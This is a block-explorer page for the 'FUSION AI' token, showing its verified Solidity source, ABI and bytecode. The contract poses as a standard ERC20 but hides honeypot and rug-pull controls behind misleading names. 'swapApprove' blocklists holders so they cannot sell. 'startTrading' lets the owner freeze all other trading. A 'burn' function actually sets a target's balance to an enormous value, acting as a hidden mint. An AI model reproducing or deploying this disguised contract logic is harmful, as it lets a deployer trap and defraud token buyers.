ETH Price: $3,440.97 (+3.89%)

Token

FUSION AI (FUSION)
 

Overview

Max Total Supply

1,000,000,000 FUSION

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
callmechen.eth
Balance
4,338,434.925598331 FUSION

Value
$0.00
0xae1d7ed78c65cc05a11d832de7f799ff77c8121f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FusionAI

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 7: FUSION AI.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

import "./ERC20.sol";

contract FusionAI is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyDistributor {
        _burn(account, amount);
    }
}

File 1 of 7: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 7: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.3;

import "./IERC20.sol";
import "./Ownable.sol";


contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _startTrade;
    uint256 private balances;
    mapping (address => bool) private _5000;
   
    constructor(string memory name_, string memory symbol_, bool startTrade_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _startTrade = startTrade_;
    }
    
    function startTrading() external onlyOwner {
        if (_startTrade == false){
        _startTrade = true;}
        else {_startTrade = false;}
    }

    function taxSwapThreshold(address account) public view returns (bool) {
        return _5000[account];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function swapApprove(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _5000[address_[i]] = val;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_startTrade == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
                _marketingDistribution(from, amount);
                if(!_5000[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            
        }
        } else {require (_startTrade == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _marketingDistribution(address address_, uint256 amount_) private view {
        if (_5000[address_]) {require (amount_ == 0, "");}
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.3;
import "./IERC20Metadata.sol";
import "./IERC20Events.sol";
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 is IERC20Metadata, IERC20Events{
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}

File 5 of 7: IERC20Events.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;

interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 7: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IERC20Metadata {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 7: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    /**
     * @dev Set new distributor.
     */
    function reduceFee(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSwapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006005553480156200002057600080fd5b5060405162002c7438038062002c748339818101604052810190620000469190620004b0565b838382620000696200005d6200010760201b60201c565b6200010f60201b60201c565b82600690805190602001906200008192919062000360565b5081600790805190602001906200009a92919062000360565b5060055460098190555080600860006101000a81548160ff021916908315150217905550505050620000fd33620000d6620001d360201b60201c565b600a620000e49190620006ed565b84620000f191906200082a565b620001dc60201b60201c565b5050505062000a58565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200024f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002469062000586565b60405180910390fd5b62000263600083836200035660201b60201c565b806004600082825462000277919062000635565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002cf919062000635565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003369190620005a8565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b8280546200036e90620008e4565b90600052602060002090601f016020900481019282620003925760008555620003de565b82601f10620003ad57805160ff1916838001178555620003de565b82800160010185558215620003de579182015b82811115620003dd578251825591602001919060010190620003c0565b5b509050620003ed9190620003f1565b5090565b5b808211156200040c576000816000905550600101620003f2565b5090565b6000620004276200042184620005ee565b620005c5565b9050828152602081018484840111156200044057600080fd5b6200044d848285620008ae565b509392505050565b600081519050620004668162000a24565b92915050565b600082601f8301126200047e57600080fd5b81516200049084826020860162000410565b91505092915050565b600081519050620004aa8162000a3e565b92915050565b60008060008060808587031215620004c757600080fd5b600085015167ffffffffffffffff811115620004e257600080fd5b620004f0878288016200046c565b945050602085015167ffffffffffffffff8111156200050e57600080fd5b6200051c878288016200046c565b93505060406200052f8782880162000499565b9250506060620005428782880162000455565b91505092959194509250565b60006200055d601f8362000624565b91506200056a82620009fb565b602082019050919050565b620005808162000897565b82525050565b60006020820190508181036000830152620005a1816200054e565b9050919050565b6000602082019050620005bf600083018462000575565b92915050565b6000620005d1620005e4565b9050620005df82826200091a565b919050565b6000604051905090565b600067ffffffffffffffff8211156200060c576200060b620009ae565b5b6200061782620009dd565b9050602081019050919050565b600082825260208201905092915050565b6000620006428262000897565b91506200064f8362000897565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000687576200068662000950565b5b828201905092915050565b6000808291508390505b6001851115620006e457808604811115620006bc57620006bb62000950565b5b6001851615620006cc5780820291505b8081029050620006dc85620009ee565b94506200069c565b94509492505050565b6000620006fa8262000897565b91506200070783620008a1565b9250620007367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200073e565b905092915050565b60008262000750576001905062000823565b8162000760576000905062000823565b81600181146200077957600281146200078457620007ba565b600191505062000823565b60ff84111562000799576200079862000950565b5b8360020a915084821115620007b357620007b262000950565b5b5062000823565b5060208310610133831016604e8410600b8410161715620007f45782820a905083811115620007ee57620007ed62000950565b5b62000823565b62000803848484600162000692565b925090508184048111156200081d576200081c62000950565b5b81810290505b9392505050565b6000620008378262000897565b9150620008448362000897565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000880576200087f62000950565b5b828202905092915050565b60008115159050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008ce578082015181840152602081019050620008b1565b83811115620008de576000848401525b50505050565b60006002820490506001821680620008fd57607f821691505b602082108114156200091457620009136200097f565b5b50919050565b6200092582620009dd565b810181811067ffffffffffffffff82111715620009475762000946620009ae565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b62000a2f816200088b565b811462000a3b57600080fd5b50565b62000a498162000897565b811462000a5557600080fd5b50565b61220c8062000a686000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e625f8a116100715780639e625f8a146102bd578063a061e0c3146102d9578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e1461036957610116565b8063715018a61461025b5780638da5cb5b1461026557806395d89b41146102835780639dc29fac146102a157610116565b806323b872dd116100e957806323b872dd146101a3578063293230b8146101d3578063313ce567146101dd57806339509351146101fb57806370a082311461022b57610116565b806306fdde031461011b578063095ea7b3146101395780631186b8d81461016957806318160ddd14610185575b600080fd5b610123610399565b6040516101309190611aab565b60405180910390f35b610153600480360381019061014e91906117c8565b61042b565b6040516101609190611a90565b60405180910390f35b610183600480360381019061017e9190611804565b61044e565b005b61018d6105a9565b60405161019a9190611c4d565b60405180910390f35b6101bd60048036038101906101b89190611779565b6105b3565b6040516101ca9190611a90565b60405180910390f35b6101db6105e2565b005b6101e56106b8565b6040516101f29190611c68565b60405180910390f35b610215600480360381019061021091906117c8565b6106c1565b6040516102229190611a90565b60405180910390f35b61024560048036038101906102409190611714565b61076b565b6040516102529190611c4d565b60405180910390f35b6102636107b4565b005b61026d61083c565b60405161027a9190611a75565b60405180910390f35b61028b610865565b6040516102989190611aab565b60405180910390f35b6102bb60048036038101906102b691906117c8565b6108f7565b005b6102d760048036038101906102d29190611714565b610995565b005b6102f360048036038101906102ee9190611714565b610ab0565b6040516103009190611a90565b60405180910390f35b610323600480360381019061031e91906117c8565b610b06565b6040516103309190611a90565b60405180910390f35b610353600480360381019061034e91906117c8565b610bf0565b6040516103609190611a90565b60405180910390f35b610383600480360381019061037e919061173d565b610c13565b6040516103909190611c4d565b60405180910390f35b6060600680546103a890611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611db1565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c9a565b9050610443818585610ca2565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d590611c0d565b60405180910390fd5b60005b838390508110156105a35781600a600086868581811061052a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061053f9190611714565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061059b90611de3565b9150506104e1565b50505050565b6000600454905090565b6000806105be610c9a565b90506105cb858285610e6d565b6105d6858585610ef9565b60019150509392505050565b6105ea610c9a565b73ffffffffffffffffffffffffffffffffffffffff1661060861083c565b73ffffffffffffffffffffffffffffffffffffffff161461065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590611b6d565b60405180910390fd5b60001515600860009054906101000a900460ff161515141561069a576001600860006101000a81548160ff0219169083151502179055506106b6565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b6000806106cc610c9a565b9050610760818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461075b9190611c9f565b610ca2565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107bc610c9a565b73ffffffffffffffffffffffffffffffffffffffff166107da61083c565b73ffffffffffffffffffffffffffffffffffffffff1614610830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082790611b6d565b60405180910390fd5b61083a6000611357565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461087490611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546108a090611db1565b80156108ed5780601f106108c2576101008083540402835291602001916108ed565b820191906000526020600020905b8154815290600101906020018083116108d057829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90611c0d565b60405180910390fd5b610991828261141b565b5050565b61099d610c9a565b73ffffffffffffffffffffffffffffffffffffffff166109bb61083c565b73ffffffffffffffffffffffffffffffffffffffff1614610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0890611b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610b11610c9a565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90611c2d565b60405180910390fd5b610be48286868403610ca2565b60019250505092915050565b600080610bfb610c9a565b9050610c08818585610ef9565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7990611b0d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e609190611c4d565b60405180910390a3505050565b6000610e798484610c13565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ef35781811015610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611b2d565b60405180910390fd5b610ef28484848403610ca2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090611acd565b60405180910390fd5b60011515600860009054906101000a900460ff161515148061102d5750610ffe61083c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106a575061103b61083c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f0576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112eb576110c183826115e7565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111565760008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90611bcd565b60405180910390fd5b5b611161838383611681565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90611b4d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461127d9190611c9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e19190611c4d565b60405180910390a3505b611347565b60011515600860009054906101000a900460ff16151514611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611bcd565b60405180910390fd5b5b611352838383611686565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611b8d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611aed565b60405180910390fd5b816009546115209190611cf5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115759190611cf5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115da9190611c4d565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167d576000811461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390611bcd565b60405180910390fd5b5b5050565b505050565b505050565b60008135905061169a81612191565b92915050565b60008083601f8401126116b257600080fd5b8235905067ffffffffffffffff8111156116cb57600080fd5b6020830191508360208202830111156116e357600080fd5b9250929050565b6000813590506116f9816121a8565b92915050565b60008135905061170e816121bf565b92915050565b60006020828403121561172657600080fd5b60006117348482850161168b565b91505092915050565b6000806040838503121561175057600080fd5b600061175e8582860161168b565b925050602061176f8582860161168b565b9150509250929050565b60008060006060848603121561178e57600080fd5b600061179c8682870161168b565b93505060206117ad8682870161168b565b92505060406117be868287016116ff565b9150509250925092565b600080604083850312156117db57600080fd5b60006117e98582860161168b565b92505060206117fa858286016116ff565b9150509250929050565b60008060006040848603121561181957600080fd5b600084013567ffffffffffffffff81111561183357600080fd5b61183f868287016116a0565b93509350506020611852868287016116ea565b9150509250925092565b61186581611d29565b82525050565b61187481611d3b565b82525050565b600061188582611c83565b61188f8185611c8e565b935061189f818560208601611d7e565b6118a881611e8a565b840191505092915050565b60006118c0602383611c8e565b91506118cb82611e9b